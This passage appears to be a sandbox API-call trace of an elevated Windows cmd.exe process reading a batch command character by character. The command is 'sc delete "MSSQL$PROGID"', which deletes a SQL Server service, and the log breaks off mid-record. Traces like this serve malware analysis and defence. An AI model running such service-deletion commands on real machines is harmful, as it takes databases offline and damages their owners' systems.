ReturnLength=0x0) returned 0x0 [0071.487] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.487] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0071.529] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.529] CloseHandle (hObject=0x54) returned 1 [0071.529] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.529] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.529] GetProcessHeap () returned 0x4a0000 [0071.529] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0071.529] GetEnvironmentStringsW () returned 0x4c1b10* [0071.529] GetProcessHeap () returned 0x4a0000 [0071.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0071.529] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.529] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.529] GetProcessHeap () returned 0x4a0000 [0071.529] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.529] GetEnvironmentStringsW () returned 0x4bba10* [0071.529] GetProcessHeap () returned 0x4a0000 [0071.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0071.529] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0071.529] GetProcessHeap () returned 0x4a0000 [0071.529] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.529] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.529] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.530] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.530] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.530] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.530] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.530] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.530] GetConsoleOutputCP () returned 0x1b5 [0071.530] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.530] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.531] GetProcessHeap () returned 0x4a0000 [0071.531] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.531] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.531] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.531] GetFileType (hFile=0x120) returned 0x3 [0071.531] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.531] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.531] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.531] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.531] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.532] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.532] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.532] GetFileType (hFile=0x120) returned 0x3 [0071.532] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.532] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.532] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.532] GetFileType (hFile=0xb8) returned 0x3 [0071.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.532] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.532] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.532] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.532] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.532] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.532] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.533] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.533] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.533] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.533] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MSSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SSQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.534] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.534] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="SQL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.534] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.534] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="QL$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="L$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="$PROGID\"\nL\"\nvice\n\n") returned 1 [0071.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="WROGID\"\nL\"\nvice\n\n") returned 1 [0071.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.535] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="OOGID\"\nL\"\nvice\n\n") returned 1 [0071.535] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.535] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.535] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="LGID\"\nL\"\nvice\n\n") returned 1 [0071.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="TID\"\nL\"\nvice\n\n") returned 1 [0071.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="ED\"\nL\"\nvice\n\n") returned 1 [0071.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="R\"\nL\"\nvice\n\n") returned 1 [0071.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="S\nL\"\nvice\n\n") returned 1 [0071.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="KL\"\nvice\n\n") returned 1 [0071.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.536] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.536] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="L\"\nvice\n\n") returned 1 [0071.536] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.536] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.537] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.537] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="U\nvice\n\n") returned 1 [0071.537] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.537] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.537] ReadFile (in: hFile=0xb8, 